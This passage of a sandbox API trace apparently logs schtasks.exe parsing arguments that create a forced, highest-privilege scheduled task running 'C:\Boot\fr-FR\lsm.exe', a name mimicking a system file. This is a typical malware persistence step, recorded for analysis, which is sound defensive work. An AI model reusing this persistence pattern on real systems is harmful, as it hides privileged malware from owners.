(lpString="|mo|") returned 4 [0084.525] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0084.525] SetLastError (dwErrCode=0x490) [0084.525] lstrlenW (lpString="run") returned 3 [0084.525] lstrlenW (lpString="run") returned 3 [0084.525] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.525] lstrlenW (lpString="mo") returned 2 [0084.525] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.525] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|run|") returned 5 [0084.525] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|mo|") returned 4 [0084.525] lstrlenW (lpString="|run|") returned 5 [0084.525] lstrlenW (lpString="|mo|") returned 4 [0084.525] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0084.525] SetLastError (dwErrCode=0x490) [0084.525] lstrlenW (lpString="end") returned 3 [0084.525] lstrlenW (lpString="end") returned 3 [0084.525] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.525] lstrlenW (lpString="mo") returned 2 [0084.525] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.525] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|end|") returned 5 [0084.525] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|mo|") returned 4 [0084.525] lstrlenW (lpString="|end|") returned 5 [0084.525] lstrlenW (lpString="|mo|") returned 4 [0084.525] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0084.526] SetLastError (dwErrCode=0x490) [0084.526] lstrlenW (lpString="showsid") returned 7 [0084.526] lstrlenW (lpString="showsid") returned 7 [0084.526] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.526] lstrlenW (lpString="mo") returned 2 [0084.526] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.526] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|showsid|") returned 9 [0084.526] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|mo|") returned 4 [0084.526] lstrlenW (lpString="|showsid|") returned 9 [0084.526] lstrlenW (lpString="|mo|") returned 4 [0084.526] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0084.526] SetLastError (dwErrCode=0x490) [0084.526] SetLastError (dwErrCode=0x490) [0084.526] SetLastError (dwErrCode=0x0) [0084.526] lstrlenW (lpString="/mo") returned 3 [0084.526] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0084.526] SetLastError (dwErrCode=0x490) [0084.526] SetLastError (dwErrCode=0x0) [0084.526] lstrlenW (lpString="/mo") returned 3 [0084.526] GetProcessHeap () returned 0x250000 [0084.526] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c3d0 [0084.526] GetProcessHeap () returned 0x250000 [0084.526] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cdd0 [0084.526] SetLastError (dwErrCode=0x0) [0084.526] SetLastError (dwErrCode=0x0) [0084.526] lstrlenW (lpString="11") returned 2 [0084.527] lstrlenW (lpString="-/") returned 2 [0084.527] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0084.527] SetLastError (dwErrCode=0x490) [0084.527] SetLastError (dwErrCode=0x490) [0084.527] SetLastError (dwErrCode=0x0) [0084.527] lstrlenW (lpString="11") returned 2 [0084.527] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0084.527] SetLastError (dwErrCode=0x490) [0084.527] SetLastError (dwErrCode=0x0) [0084.527] lstrlenW (lpString="11") returned 2 [0084.527] GetProcessHeap () returned 0x250000 [0084.527] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x6) returned 0x26c3f0 [0084.527] GetProcessHeap () returned 0x250000 [0084.527] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ce00 [0084.527] SetLastError (dwErrCode=0x0) [0084.527] SetLastError (dwErrCode=0x0) [0084.527] lstrlenW (lpString="/tr") returned 3 [0084.527] lstrlenW (lpString="-/") returned 2 [0084.527] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.527] lstrlenW (lpString="?") returned 1 [0084.527] lstrlenW (lpString="?") returned 1 [0084.527] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.527] lstrlenW (lpString="tr") returned 2 [0084.527] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.527] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|?|") returned 3 [0084.527] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tr|") returned 4 [0084.527] lstrlenW (lpString="|?|") returned 3 [0084.528] lstrlenW (lpString="|tr|") returned 4 [0084.528] SetLastError (dwErrCode=0x490) [0084.528] lstrlenW (lpString="create") returned 6 [0084.528] lstrlenW (lpString="create") returned 6 [0084.528] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.528] lstrlenW (lpString="tr") returned 2 [0084.528] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.528] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|create|") returned 8 [0084.528] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tr|") returned 4 [0084.528] lstrlenW (lpString="|create|") returned 8 [0084.528] lstrlenW (lpString="|tr|") returned 4 [0084.528] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0084.528] SetLastError (dwErrCode=0x490) [0084.528] lstrlenW (lpString="delete") returned 6 [0084.528] lstrlenW (lpString="delete") returned 6 [0084.528] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.528] lstrlenW (lpString="tr") returned 2 [0084.528] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.528] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|delete|") returned 8 [0084.528] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tr|") returned 4 [0084.528] lstrlenW (lpString="|delete|") returned 8 [0084.528] lstrlenW (lpString="|tr|") returned 4 [0084.528] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0084.529] SetLastError (dwErrCode=0x490) [0084.529] lstrlenW (lpString="query") returned 5 [0084.529] lstrlenW (lpString="query") returned 5 [0084.529] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.529] lstrlenW (lpString="tr") returned 2 [0084.529] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.529] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|query|") returned 7 [0084.529] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tr|") returned 4 [0084.529] lstrlenW (lpString="|query|") returned 7 [0084.529] lstrlenW (lpString="|tr|") returned 4 [0084.529] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0084.529] SetLastError (dwErrCode=0x490) [0084.529] lstrlenW (lpString="change") returned 6 [0084.529] lstrlenW (lpString="change") returned 6 [0084.529] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.529] lstrlenW (lpString="tr") returned 2 [0084.529] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.529] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|change|") returned 8 [0084.530] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tr|") returned 4 [0084.530] lstrlenW (lpString="|change|") returned 8 [0084.530] lstrlenW (lpString="|tr|") returned 4 [0084.530] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0084.530] SetLastError (dwErrCode=0x490) [0084.530] lstrlenW (lpString="run") returned 3 [0084.530] lstrlenW (lpString="run") returned 3 [0084.531] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.531] lstrlenW (lpString="tr") returned 2 [0084.531] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.531] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|run|") returned 5 [0084.531] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tr|") returned 4 [0084.531] lstrlenW (lpString="|run|") returned 5 [0084.531] lstrlenW (lpString="|tr|") returned 4 [0084.531] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0084.531] SetLastError (dwErrCode=0x490) [0084.531] lstrlenW (lpString="end") returned 3 [0084.531] lstrlenW (lpString="end") returned 3 [0084.531] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.531] lstrlenW (lpString="tr") returned 2 [0084.531] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.531] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|end|") returned 5 [0084.531] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tr|") returned 4 [0084.531] lstrlenW (lpString="|end|") returned 5 [0084.531] lstrlenW (lpString="|tr|") returned 4 [0084.532] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0084.532] SetLastError (dwErrCode=0x490) [0084.532] lstrlenW (lpString="showsid") returned 7 [0084.532] lstrlenW (lpString="showsid") returned 7 [0084.532] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.532] lstrlenW (lpString="tr") returned 2 [0084.532] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.532] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|showsid|") returned 9 [0084.532] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tr|") returned 4 [0084.532] lstrlenW (lpString="|showsid|") returned 9 [0084.532] lstrlenW (lpString="|tr|") returned 4 [0084.532] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0084.532] SetLastError (dwErrCode=0x490) [0084.532] SetLastError (dwErrCode=0x490) [0084.532] SetLastError (dwErrCode=0x0) [0084.532] lstrlenW (lpString="/tr") returned 3 [0084.532] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0084.532] SetLastError (dwErrCode=0x490) [0084.532] SetLastError (dwErrCode=0x0) [0084.532] lstrlenW (lpString="/tr") returned 3 [0084.532] GetProcessHeap () returned 0x250000 [0084.532] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c410 [0084.532] GetProcessHeap () returned 0x250000 [0084.532] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ce30 [0084.532] SetLastError (dwErrCode=0x0) [0084.532] SetLastError (dwErrCode=0x0) [0084.533] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.533] lstrlenW (lpString="-/") returned 2 [0084.533] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0084.533] SetLastError (dwErrCode=0x490) [0084.533] SetLastError (dwErrCode=0x490) [0084.533] SetLastError (dwErrCode=0x0) [0084.533] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.533] StrChrIW (lpStart="'C:\\Boot\\fr-FR\\lsm.exe'", wMatch=0x3a) returned=":\\Boot\\fr-FR\\lsm.exe'" [0084.533] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.533] GetProcessHeap () returned 0x250000 [0084.533] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c430 [0084.533] _memicmp (_Buf1=0x26c430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.533] GetProcessHeap () returned 0x250000 [0084.533] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26c450 [0084.533] GetProcessHeap () returned 0x250000 [0084.533] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d600 [0084.533] _memicmp (_Buf1=0x26d600, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.533] GetProcessHeap () returned 0x250000 [0084.533] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x32) returned 0x267bc0 [0084.533] SetLastError (dwErrCode=0x7a) [0084.533] SetLastError (dwErrCode=0x0) [0084.533] SetLastError (dwErrCode=0x0) [0084.534] lstrlenW (lpString="'C") returned 2 [0084.534] lstrlenW (lpString="-/") returned 2 [0084.534] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0084.534] SetLastError (dwErrCode=0x490) [0084.534] SetLastError (dwErrCode=0x490) [0084.534] SetLastError (dwErrCode=0x0) [0084.534] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.534] GetProcessHeap () returned 0x250000 [0084.534] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x30) returned 0x267c00 [0084.534] GetProcessHeap () returned 0x250000 [0084.534] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ce60 [0084.534] SetLastError (dwErrCode=0x0) [0084.534] SetLastError (dwErrCode=0x0) [0084.534] lstrlenW (lpString="/rl") returned 3 [0084.534] lstrlenW (lpString="-/") returned 2 [0084.534] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.534] lstrlenW (lpString="?") returned 1 [0084.534] lstrlenW (lpString="?") returned 1 [0084.534] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.534] lstrlenW (lpString="rl") returned 2 [0084.534] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.534] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|?|") returned 3 [0084.534] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|rl|") returned 4 [0084.534] lstrlenW (lpString="|?|") returned 3 [0084.534] lstrlenW (lpString="|rl|") returned 4 [0084.534] SetLastError (dwErrCode=0x490) [0084.535] lstrlenW (lpString="create") returned 6 [0084.535] lstrlenW (lpString="create") returned 6 [0084.535] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.535] lstrlenW (lpString="rl") returned 2 [0084.535] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.535] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|create|") returned 8 [0084.535] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|rl|") returned 4 [0084.535] lstrlenW (lpString="|create|") returned 8 [0084.535] lstrlenW (lpString="|rl|") returned 4 [0084.535] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0084.535] SetLastError (dwErrCode=0x490) [0084.535] lstrlenW (lpString="delete") returned 6 [0084.535] lstrlenW (lpString="delete") returned 6 [0084.535] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.535] lstrlenW (lpString="rl") returned 2 [0084.535] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.535] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|delete|") returned 8 [0084.535] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|rl|") returned 4 [0084.535] lstrlenW (lpString="|delete|") returned 8 [0084.535] lstrlenW (lpString="|rl|") returned 4 [0084.535] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0084.535] SetLastError (dwErrCode=0x490) [0084.535] lstrlenW (lpString="query") returned 5 [0084.535] lstrlenW (lpString="query") returned 5 [0084.536] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.536] lstrlenW (lpString="rl") returned 2 [0084.536] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.536] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|query|") returned 7 [0084.536] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|rl|") returned 4 [0084.536] lstrlenW (lpString="|query|") returned 7 [0084.536] lstrlenW (lpString="|rl|") returned 4 [0084.536] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0084.536] SetLastError (dwErrCode=0x490) [0084.536] lstrlenW (lpString="change") returned 6 [0084.536] lstrlenW (lpString="change") returned 6 [0084.536] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.536] lstrlenW (lpString="rl") returned 2 [0084.536] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.536] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|change|") returned 8 [0084.536] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|rl|") returned 4 [0084.536] lstrlenW (lpString="|change|") returned 8 [0084.536] lstrlenW (lpString="|rl|") returned 4 [0084.536] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0084.536] SetLastError (dwErrCode=0x490) [0084.536] lstrlenW (lpString="run") returned 3 [0084.536] lstrlenW (lpString="run") returned 3 [0084.536] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.537] lstrlenW (lpString="rl") returned 2 [0084.537] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.537] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|run|") returned 5 [0084.537] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|rl|") returned 4 [0084.537] lstrlenW (lpString="|run|") returned 5 [0084.537] lstrlenW (lpString="|rl|") returned 4 [0084.537] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0084.537] SetLastError (dwErrCode=0x490) [0084.537] lstrlenW (lpString="end") returned 3 [0084.537] lstrlenW (lpString="end") returned 3 [0084.537] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.537] lstrlenW (lpString="rl") returned 2 [0084.537] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.537] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|end|") returned 5 [0084.537] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|rl|") returned 4 [0084.537] lstrlenW (lpString="|end|") returned 5 [0084.537] lstrlenW (lpString="|rl|") returned 4 [0084.537] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0084.537] SetLastError (dwErrCode=0x490) [0084.537] lstrlenW (lpString="showsid") returned 7 [0084.537] lstrlenW (lpString="showsid") returned 7 [0084.537] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.537] lstrlenW (lpString="rl") returned 2 [0084.538] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.538] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|showsid|") returned 9 [0084.538] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|rl|") returned 4 [0084.538] lstrlenW (lpString="|showsid|") returned 9 [0084.538] lstrlenW (lpString="|rl|") returned 4 [0084.538] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0084.538] SetLastError (dwErrCode=0x490) [0084.538] SetLastError (dwErrCode=0x490) [0084.538] SetLastError (dwErrCode=0x0) [0084.538] lstrlenW (lpString="/rl") returned 3 [0084.538] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0084.538] SetLastError (dwErrCode=0x490) [0084.538] SetLastError (dwErrCode=0x0) [0084.538] lstrlenW (lpString="/rl") returned 3 [0084.538] GetProcessHeap () returned 0x250000 [0084.538] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26ddd0 [0084.538] GetProcessHeap () returned 0x250000 [0084.538] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ce90 [0084.538] SetLastError (dwErrCode=0x0) [0084.538] SetLastError (dwErrCode=0x0) [0084.538] lstrlenW (lpString="HIGHEST") returned 7 [0084.538] lstrlenW (lpString="-/") returned 2 [0084.538] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0084.538] SetLastError (dwErrCode=0x490) [0084.538] SetLastError (dwErrCode=0x490) [0084.538] SetLastError (dwErrCode=0x0) [0084.538] lstrlenW (lpString="HIGHEST") returned 7 [0084.539] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0084.539] SetLastError (dwErrCode=0x490) [0084.539] SetLastError (dwErrCode=0x0) [0084.539] lstrlenW (lpString="HIGHEST") returned 7 [0084.539] GetProcessHeap () returned 0x250000 [0084.539] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d620 [0084.539] GetProcessHeap () returned 0x250000 [0084.539] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cec0 [0084.539] SetLastError (dwErrCode=0x0) [0084.539] SetLastError (dwErrCode=0x0) [0084.539] lstrlenW (lpString="/f") returned 2 [0084.539] lstrlenW (lpString="-/") returned 2 [0084.539] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.539] lstrlenW (lpString="?") returned 1 [0084.539] lstrlenW (lpString="?") returned 1 [0084.539] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.539] lstrlenW (lpString="f") returned 1 [0084.539] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.539] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|?|") returned 3 [0084.539] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|f|") returned 3 [0084.539] lstrlenW (lpString="|?|") returned 3 [0084.539] lstrlenW (lpString="|f|") returned 3 [0084.539] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0084.539] SetLastError (dwErrCode=0x490) [0084.539] lstrlenW (lpString="create") returned 6 [0084.539] lstrlenW (lpString="create") returned 6 [0084.540] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.540] lstrlenW (lpString="f") returned 1 [0084.540] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.540] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|create|") returned 8 [0084.540] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|f|") returned 3 [0084.540] lstrlenW (lpString="|create|") returned 8 [0084.540] lstrlenW (lpString="|f|") returned 3 [0084.540] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0084.540] SetLastError (dwErrCode=0x490) [0084.540] lstrlenW (lpString="delete") returned 6 [0084.540] lstrlenW (lpString="delete") returned 6 [0084.540] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.540] lstrlenW (lpString="f") returned 1 [0084.540] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.540] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|delete|") returned 8 [0084.540] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|f|") returned 3 [0084.540] lstrlenW (lpString="|delete|") returned 8 [0084.540] lstrlenW (lpString="|f|") returned 3 [0084.540] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0084.540] SetLastError (dwErrCode=0x490) [0084.540] lstrlenW (lpString="query") returned 5 [0084.540] lstrlenW (lpString="query") returned 5 [0084.540] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.540] lstrlenW (lpString="f") returned 1 [0084.541] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.541] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|query|") returned 7 [0084.541] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|f|") returned 3 [0084.541] lstrlenW (lpString="|query|") returned 7 [0084.541] lstrlenW (lpString="|f|") returned 3 [0084.541] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0084.541] SetLastError (dwErrCode=0x490) [0084.541] lstrlenW (lpString="change") returned 6 [0084.541] lstrlenW (lpString="change") returned 6 [0084.541] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.541] lstrlenW (lpString="f") returned 1 [0084.541] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.541] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|change|") returned 8 [0084.541] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|f|") returned 3 [0084.541] lstrlenW (lpString="|change|") returned 8 [0084.541] lstrlenW (lpString="|f|") returned 3 [0084.541] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0084.541] SetLastError (dwErrCode=0x490) [0084.541] lstrlenW (lpString="run") returned 3 [0084.541] lstrlenW (lpString="run") returned 3 [0084.541] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.541] lstrlenW (lpString="f") returned 1 [0084.541] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.542] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|run|") returned 5 [0084.542] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|f|") returned 3 [0084.542] lstrlenW (lpString="|run|") returned 5 [0084.542] lstrlenW (lpString="|f|") returned 3 [0084.542] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 